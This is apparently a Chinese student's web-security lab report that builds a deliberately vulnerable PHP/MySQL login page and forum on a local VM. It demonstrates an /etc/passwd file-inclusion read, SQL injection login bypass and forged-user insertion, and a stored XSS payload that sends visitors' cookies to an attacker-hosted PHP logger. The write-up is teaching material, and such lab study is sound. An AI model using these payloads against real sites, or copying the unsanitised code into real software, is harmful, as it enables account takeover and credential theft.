实验八 Web基础
-
1.安装apache
sudo apt-get install apache2
-
2.启动apache
service apache2 start
-
3.使用
netstat -tupln |grep 80
命令查看80端口是否被占用,如果已被占用,修改配置文件ports.conf中的内容以修改监听端口vim /etc/apache2/ports.conf
-
4.重启apache
service apache2 restart
-
5.测试apache是否正常工作
浏览器打开 127.0.0.1:5222
可正常打开Apache介绍网页
测试:apache可读取工作目录下的文件vi /var/www/html/test.txt
-
6.准备一个能提交用户名密码的login.html页面并放到路径
/var/www/html
下,里面写以下代码(建议在主机生成html文件再放入虚拟机)<html> <head> <script> function inputTest(){ if (document.getElementById("password").value.length>4){ return true } else { return false; } } function inputname(){ username = document.getElementById("username"); if(username.value=="Please Input Your Username"){ username.value = ""; username.style.color = "Black"; } } function nameempty(){ username= document.getElementById("username") if(username.value == ""){ username.value = "Please Input Your Username"; username.style.color = "Gray"; } } </script> </head> <body> Please Input Your Name and Password to login <form action="login.php" method="GET" onsubmit="return inputTest()"> <input type="text" name="username" id="username" value="Please Input Your Username" onclick="inputname()" style="color: Gray;" onblur="nameempty()" /> <br> <input type="password" name="password" id="password"/> <br> <input type="submit" value="Login GET"/> </form> <br> <br> </body> </html>
-
7.安装PHP
sudo apt-get install php
-
8.测试PHP是否能正常工作
vi /var/www/html/test.php
内容为<?php include($_GET["a"]); ?>
浏览器打开 127.0.0.1:8088/test.php?a=/etc/passwd
可看到/etc/passwd文件的内容。注意PHP变量大小写敏感。
-
9.尝试获取表单数据
/var/www/html/login.php
,内容为<!DOCTYPE html> <html> <body> <?php $uname=($_GET["username"]); $pwd=($_GET["password"]); echo "username:"; echo $uname; echo "<Br>password:"; echo $pwd; ?> </body> </html>
在访问刚刚的login.html页面进行登录
下面尝试使用POST方法
将login.html和login.php中的GET都改成POST就行了
通过比较可以看出,get方法直接将参数放在url中,而post方法将参数放在HTML Header内提交,所以提交敏感数据应该使用post方法,, -
10.安装mysql
apt-get install mysql-server mysql-client mysql-workbench
失败了,试了网上各种方法都不行。。
最后按着网上的说法直接输入命令service mysql start
,再输入mysql -u root -p
登录,默认密码为空,结果发现打开的是MariaDB。。网上说是mysql的一个分支balabala,不管了先用着
查看基本信息
show databases;
(每个命令后面记得分号结束)
还行,用起来好像差不多修改密码
UPDATE mysql.user SET authentication_string = PASSWORD(\'新的密码\'), plugin = \'mysql_native_password\' WHERE User = \'root\' AND Host = \'localhost\';
注意,这里跟mysql不太一样,如果不这么写后面会出错然后依次输入以下内容(我的名字用的lzj,各位根据自己情况修改)
CREATE SCHEMA `lzj`;
CREATE TABLE `lzj`.`users` ( `userid` INT NOT NULL COMMENT \'\', `username` VARCHAR(45) NULL COMMENT \'\', `password` VARCHAR(256) NULL COMMENT \'\', `enabled` VARCHAR(5) NULL COMMENT \'\', PRIMARY KEY (`userid`) COMMENT \'\');
use lzj
insert into users(userid,username,password,enabled) values(1,\'admin\',password("admin"),"TRUE");
最后可以看到
-
11.php+mysql实践
安装开发库
apt-get install php-mysql php-mysqli
然而好像已经有了不用安装
可以通以下指令确认mysql mysqli的安装结果。
#locate mysql.so
#locate mysqli.so
将刚刚的login.php改为以下内容
<!DOCTYPE html> <html> <body> <?php $uname=($_GET["username"]); $pwd=($_GET["password"]); /* echo $uname; */ $query_str="SELECT * FROM users where username=\'{$uname}\' and password=password(\'{$pwd}\');"; /* echo "<br> {$query_str} <br>";*/ $mysqli = new mysqli("127.0.0.1", "root", "你的密码", "刚刚创建的SCHEMA的名字"); /* check connection */ if ($mysqli->connect_errno) { printf("Connect failed: %s\\n", $mysqli->connect_error); exit(); } /* Select queries return a resultset */ if ($result = $mysqli->query($query_str)) { if ($result->num_rows > 0 ){ echo "<br> Wellcome login Mr/Mrs:{$uname} <br> "; } else { echo "<br> login failed!!!! <br> " ; } /* free result set */ $result->close(); } $mysqli->close(); ?> </body> </html>
-
11.简单sql注入
用户名处输入\' or 1=1#
,密码任意,长度超过4就行
成功登陆,下面尝试添加用户
用户名处输入
\';insert into users(userid,username,password,enabled) values(5222,\'abc\',password("123456"),"TRUE");#
在数据库中可以直接插入一个伪造的用户名,密码,下次就可以用伪造的用户名密码登录网站了,但是得修改一下之前的代码,因为我们之前的login.php中
if ($result = $mysqli->query($query_str))
这条判断语句不允许多条sql语句执行,所以将它改成if ($result = $mysqli->multi_query($query_str))
便能实现执行多个sql语句
以上这段话引用自冯佳学姐博客,鸣谢冯家学姐让我跳过一个坑查看用户表中内容,已经添加了新用户
但是这时是没法登录成功的,因为将query改成multi_query之后,返回的将是多个结果集,后续代码也要相应调整,调整方法明天再说,如果不想调整,可以在添加新用户之后再改回query。 -
12.简单xss
用户名输入<img src="xingkong.jpg">
,密码还是随意,登陆之后就会回显这张图片
当然这张图片是预先放在/var/www/html目录下的,这个操作是什么意思呢,当我们输入<img src="xingkong.jpg">
时,本来应该以文本的形式回显,但是网站把他当成一句代码来处理,假设我们在一个帖子的回复中插入一段恶意的js代码,那么这段代码将被服务器存储,并在其他用户浏览相应网页时被加载,且这段恶意代码并没有以文本的形式显示,而是被执行,那么将产生不好的后果,,实际操作待续。。 -
13.贴吧及会话管理,接下来做一个能发帖和浏览以往帖子的网站来试验XSS攻击
首先我们要做个贴吧的首页,首页顶部想要显示已经登录的用户名,那么我们就得把登录页面得到的用户名传输到首页,我们当然可以用某种参数传递的方法,但是在这里我们使用cookie来保存用户信息,我感觉cookie就像我们平时编程里面的全局变量,可以避免参数传递的麻烦,我们可以随时引用、修改他们的值,只有当程序结束,全局变量才被释放,而cookie也一样,存于内存的cookie在浏览器关闭时就会被释放,当然还有存于硬盘的cookie,只有过期或用户手动删除才会被释放。(纯粹个人理解)
我们修改login.php代码if ($result->num_rows > 0 ){ setcookie("username",$uname); SetCookie("password",$pwd); header("Location:http://127.0.0.1:5222/tieba.html");
如果登录成功,将用户名密码放到cookie中,那么怎么知道我们是否真的放进去了呢,在浏览器上就能查看
可以看到已经添加了cookie,接下来在tieba.html中用js代码获取cookie内容
由于我们是要在页面刚被加载时就执行这些操作,所以得把js功能代码写到window.onload=function(){}里面,我们先试试把cookie打印出来<html> <script type="text/javascript"> window.onload=function(){ var cookies = document.cookie;//获取cookie alert(cookies);//在警示框中显示 } </script> <head> </head> <body > </body> </html>
可以看到多个cookie被用 分号+空格 隔开(坑爹啊,刚开始忽略了这个空格,后面字符串匹配莫名其妙匹配不上捣鼓了一个小时,唉,难道越强的人越容易在细微之处栽跟头吗,看来世间万事万物都是平衡的),那么我们这样操作
我们也可以在php中获取cookie,就像这样$userid = ($_COOKIE["userid"]); $username= ($_COOKIE["username"]);
当我们要退出登录时,可以通过js代码清除cookie
var date = new Date(); date.setTime(date.getTime() - 10000); document.cookie ="username=a; expires=" + date.toGMTString(); document.cookie ="userid=a; expires=" + date.toGMTString(); document.cookie ="password=a; expires=" + date.toGMTString();
js或者php中并没有函数能直接将cookie删除,但是我们可以通过逐一修改他们的过期时间为一个过去的时间,效果相当于删除。
有了这些基础知识我们就可以写一个简单的贴吧了 代码
接下来,我们在贴吧里发一个贴
然后在另一个虚拟机里登录账号并回复以下内容<script> str="http://攻击者的ip/attacker.php?para=" + document.cookie; XSSImage=new Image; XSSImage.src=str; </script>
当所有人访问这个帖子时,这段话都被加载,但是并没有被当做文本显示,而是被浏览器当做js代码执行,下面解释一下这段js代码
XSSImage=new Image 创建一个图片对象
XSSImage.src=str 设置图片源
str="http://攻击者的ip/attacker.php?para=" + document.cookie 图片并不在本地,而是需要访问这个网址获得,document.cookie是js里获取cookie的方法。
当然,图片什么的都是不存在的,我们只是想让浏览器访问这个url链接,并且把cookie的内容作为get请求的参数放在链接里一并发过去(前面已经说过了,get请求就是把参数放在url链接里)
这是一段真实的get请求
http://192.168.12.129:5222/attacker.php?para=userid=1; username=admin; password=admin
参数名为para,内容为字符串userid=1; username=admin; password=admin
在做这些之前我们还得有一些准备,要让其他人的浏览器能访问这个链接,我们首先得发布一个网站,让 http://192.168.12.129:5222 可以被访问,然后在网站目录下(假设为/var/www/html/)得有这个attacker.php文件,这个文件的作用是获取get请求的信息,并且保存到log.txt当中,所以我们还得新建一个文件log.txt,并且给这两个文件设置 chomd 777 权限,下面是attacker.php的内容<?php header("Content-type: text/html; charset=utf-8"); $para=($_GET["para"]);//获取get参数 $myfile = fopen("log.txt", "a+") or die("Unable to open file!");//打开文件 fwrite($myfile, "$para\\n");//写入文件 fclose($myfile);//关闭文件 ?>
好了让我们看看效果
每次打开这个网页浏览器都会把自己的cookie信息发出去
然后被保存起来,这就是一个最简单的xss攻击